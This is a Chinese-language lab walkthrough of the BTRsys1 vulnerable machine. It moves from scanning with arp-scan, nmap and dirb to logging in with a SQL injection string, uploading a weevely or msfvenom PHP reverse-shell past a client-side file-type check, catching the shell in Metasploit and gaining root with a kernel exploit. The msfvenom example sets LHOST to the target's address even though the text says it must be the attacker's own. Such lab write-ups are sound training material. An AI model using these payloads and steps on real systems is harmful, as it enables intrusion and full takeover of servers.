大家新年快乐!
环境:
KALI 2021.3
BTRsys1 系统版本 Ubuntu 14.04.1 内核版本 3.13.0

1.环境搭建及扫描嗅探

均基于VMware虚拟机
首先将靶机和攻击机的网络模式设置为NAT模式 确保连通性

利用ARP扫描找出网段内存活主机

使用命令 arp-scan -l

这里我的攻击机的IP是192.168.149.139 在虚拟机环境下 一般IP地址相差1的就是靶机 实战中还需要结合多重探测手段才能确认目标

使用nmap进行端口和服务的扫描

使用命令 nmap -sV -A 192.168.149.140(靶机IP) 探测结果如下


参数中的-sV是进行服务扫描 扫描目标主机中各端口对应的服务
-A是一个复合参数 包括操作系统识别 版本探测 脚本扫描和路由跟踪
这里可以看到 靶机上开放了21 22和80端口
21(VSFTPD)22(ssh)80(apache)
操作系统探测这里没有探测出一个准确的结果
nmap这里只给出了一个猜测的范围 不急 我们先在最薄弱的web服务上找漏洞

使用dirb或nikto进行目录遍历

先使用dirb进行对web服务目录的遍历
命令 dirb http://192.168.149.140 -X .php 结果如下图

发现在靶机的web服务上一共遍历出三个页面 分别是config.php index.php login.php
也可以使用nikto 结果是差不多的

然后我们根据经验 首先访问一下login.php看看

果不其然 是后台的登录界面

2.代码审计和SQL注入

我们先查看一下网页的源代码 看看能不能找到什么前端判断

翻到源码的最下面 发现这里写了一个判断函数
这个函数里
如果密码等于 ‘ 就输出Hack… 如图所示


substring就是截取,从“@”符号后一位开始截取到输入的user账号的长度,即从@到结束

且str中必须是btrisk.com 否则就直接提示下面这句 如图

所以 根据上面的规则 我们随便构建一个xxx@btrisk.com的帐号
密码的话 尝试使用SQL注入的万能密码
' or 1=1 -- -

登录成功了 这时我们就进入了网站的后台

3.文件上传漏洞获取web shell

虽然进入了网站的后台 但是我们可以看到 这里除了一个上传按钮 并没有其他可以交互的地方了 这时我们尝试生成木马上传获取web shell 进而提权
这里也有两种方式

使用weevely生成木马


generate后的参数含义是 连接密码 生成路径
上传 抓包 截包 提权操作均和下文一致

使用weevely进行连接靶机
连接成功 使用system_info查看系统信息

使用msfvenom生成web shell进行回弹

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.140 LPORT=4444 > /1.php
特别要注意 LHOST是你自身的IP 即刚刚ip a获取到的本机IP 忘记了的话可以看一下
LPORT是上传到服务器上后 反弹shell所用到的端口 也要记下 后面要用
这里的两个参数都不是固定的 自己根据实际情况修改
这里的图片我用混了 这两种方法我是在两个电脑上做出来的 所以图片会有出入 但是是一样的

出现如图所示的回显说明1.php已经生成在linux的根目录了

这时尝试上传 却发现只能上传jpg和png格式的文件 初步判断可能是前台js写了限定的参数
右键Browse 选择审查元素

翻到下面 发现网页的JS中限定了上传文件的类型

只有jpg和png可以被上传 这时不要慌 先把刚刚的生成的.php文件的后缀改成jpg 骗过前台的限定

使用burpsuite进行抓包

打开burpsuite

把这个地址设置为浏览器的代理服务器
设置方法如下

翻到最下面


配置好后保存 这时上传伪装好的1.jpg

截包修改文件为php后缀 然后点forward

这样就成功把1.php上传上去了
访问 靶机IP/uploads 确认文件是否在目录下

可以看到 1.php已经上传上去了

使用MSF监听回弹的shell


输入

然后依次输入图上所示的命令

注意 LHOST和LPORT是你上面生成时所写的IP地址和端口 均为本机
Payload这个是根据你上面生成的路径 不要改
然后输入 exploit 执行监听

这样就表示监听成功了

直接访问靶机IP/uploads/1.php 执行反弹shell 成功后如图

4.提权

输入sysinfo 查看靶机的内核版本
Shell是进入到靶机的终端中

然后在msf中利用sysinfo 所查询到的内核版本 利用searchsploit查询可用的提权代码

使用第一个提权代码

用upload命令将代码上传到靶机

然后进入shell 先查看当前目录下是否有上传的文件

编译运行 添加可执行权限 运行此文件 即可提权
提权后查看自己的ID 已经是root用户
提权后输入
python -c 'import pty;pty.spawn("/bin/bash")'
即可进入交互式界面